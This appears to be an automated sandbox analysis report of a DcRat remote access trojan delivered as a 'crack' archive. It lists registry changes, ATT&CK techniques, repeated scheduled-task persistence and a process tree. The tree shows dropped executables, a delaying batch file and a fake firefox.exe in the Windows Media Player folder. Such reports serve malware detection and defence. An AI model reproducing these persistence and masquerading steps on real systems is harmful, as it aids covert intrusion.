Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "4294967295"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202020202	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac04000000c8000000354b179bff40d211a27e00c04fc308710300000080000000354b179bff40d211a27e00c04fc308710200000080000000	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1226833921"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = ffffffff	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\NodeSlot = "12"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1 = 14002e803accbfb42cdb4c42b0297fe99a87c6410000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1226833921"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1226833921"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202020202	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\Shell	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\12\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202020202020202	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\SniffedFolderType = "Generic"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-661032028-162657920-1226909816-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\11\Shell\SniffedFolderType = "Generic"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	firefox.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
7668	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6328	schtasks.exe
6656	schtasks.exe
7668	schtasks.exe
7780	schtasks.exe
6532	schtasks.exe
8088	schtasks.exe
8088	schtasks.exe
5232	schtasks.exe
5392	schtasks.exe
7028	schtasks.exe
6320	schtasks.exe
8096	schtasks.exe
6612	schtasks.exe
6392	schtasks.exe
7808	schtasks.exe
5468	schtasks.exe
6520	schtasks.exe
5540	schtasks.exe
5700	schtasks.exe
7492	schtasks.exe
7536	schtasks.exe
8252	schtasks.exe
5940	schtasks.exe
5588	schtasks.exe
6568	schtasks.exe
5728	schtasks.exe
6352	schtasks.exe
6176	schtasks.exe
5836	schtasks.exe
688	schtasks.exe
6800	schtasks.exe
6128	schtasks.exe
6020	schtasks.exe
5704	schtasks.exe
7040	schtasks.exe
5960	schtasks.exe
5468	schtasks.exe
5940	schtasks.exe
6264	schtasks.exe
6620	schtasks.exe
7388	schtasks.exe
7216	schtasks.exe
6700	schtasks.exe
8144	schtasks.exe
7504	schtasks.exe
8028	schtasks.exe
6460	schtasks.exe
6652	schtasks.exe
5768	schtasks.exe
6268	schtasks.exe
5308	schtasks.exe
6776	schtasks.exe
5540	schtasks.exe
6304	schtasks.exe
6188	schtasks.exe
5612	schtasks.exe
7792	schtasks.exe
5532	schtasks.exe
6676	schtasks.exe
7596	schtasks.exe
6924	schtasks.exe
8108	schtasks.exe
5588	schtasks.exe
6676	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1536	5e710462c65fe899466e4fb7c1e33c9a.exe
1536	5e710462c65fe899466e4fb7c1e33c9a.exe
1536	5e710462c65fe899466e4fb7c1e33c9a.exe
1536	5e710462c65fe899466e4fb7c1e33c9a.exe
5300	73c1c41b9e71c48e752a5cd19fe808b6.exe
5300	73c1c41b9e71c48e752a5cd19fe808b6.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4988	firefox.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	4988	firefox.exe
Token: SeDebugPrivilege	2736	7f1630df6b57af024a3b561bdadc208f.exe
Token: SeDebugPrivilege	1536	5e710462c65fe899466e4fb7c1e33c9a.exe
Token: SeDebugPrivilege	5156	57ccb6f0bd910fed428761828ae93553.exe
Token: SeDebugPrivilege	5300	73c1c41b9e71c48e752a5cd19fe808b6.exe

Suspicious use of FindShellTrayWindow 21 IoCs

pid	Process
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe
4988	firefox.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4988	firefox.exe
4988	firefox.exe
4736	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 3960 wrote to memory of 4988	3960	firefox.exe	90
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 4112	4988	firefox.exe	91
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92
PID 4988 wrote to memory of 580	4988	firefox.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\クラック.zip
1⤵
PID:3768

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:788

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - DcRat
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1996 -parentBuildID 20240401114208 -prefsHandle 1524 -prefMapHandle 1896 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {47a4d38c-80e3-47e1-9fce-60f7256ad616} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" gpu
    3⤵
    PID:4112
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2372 -prefMapHandle 2360 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {52a0ef91-f523-41f6-9159-30ae761fb88a} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" socket
    3⤵
    PID:580
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2864 -childID 1 -isForBrowser -prefsHandle 3120 -prefMapHandle 3228 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce954e13-3453-48d0-9a01-6018e293cee8} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" tab
    3⤵
    PID:4864
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3428 -childID 2 -isForBrowser -prefsHandle 3564 -prefMapHandle 3560 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9a9b1ad3-62a8-494d-9516-f854a46e74c2} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" tab
    3⤵
    PID:2864
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4236 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4596 -prefMapHandle 4408 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {566b0b78-d19e-4678-b969-679e948f220f} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" utility
    3⤵
    - Checks processor information in registry
    PID:4352
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5356 -childID 3 -isForBrowser -prefsHandle 5344 -prefMapHandle 5332 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb7def19-94c1-46ea-b654-53eba37397f4} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" tab
    3⤵
    PID:4216
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5516 -childID 4 -isForBrowser -prefsHandle 5528 -prefMapHandle 5472 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {898d06f4-f8d4-44d6-889a-5e37006f4812} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" tab
    3⤵
    PID:1468
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5772 -childID 5 -isForBrowser -prefsHandle 5692 -prefMapHandle 5700 -prefsLen 26944 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36cf2a1a-372b-46f5-9b9e-4e081e112a4e} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" tab
    3⤵
    PID:4184
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6052 -childID 6 -isForBrowser -prefsHandle 5348 -prefMapHandle 5488 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ff93c5a-faba-42aa-8b4b-269ecb1ee8da} 4988 "\\.\pipe\gecko-crash-server-pipe.4988" tab
    3⤵
    PID:4448
- - C:\Program Files (x86)\クラック.exe
    "C:\Program Files (x86)\クラック.exe"
    3⤵
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:2400
  - - C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
      "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2888
  - - C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
      "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
      4⤵
      DcRat
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1536
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ydFnlpnp0s.bat"
        5⤵
        
        PID:896
      - C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        6⤵
        
        PID:5744
      - C:\Program Files (x86)\Windows Media Player\firefox.exe
        
        "C:\Program Files (x86)\Windows Media Player\firefox.exe"
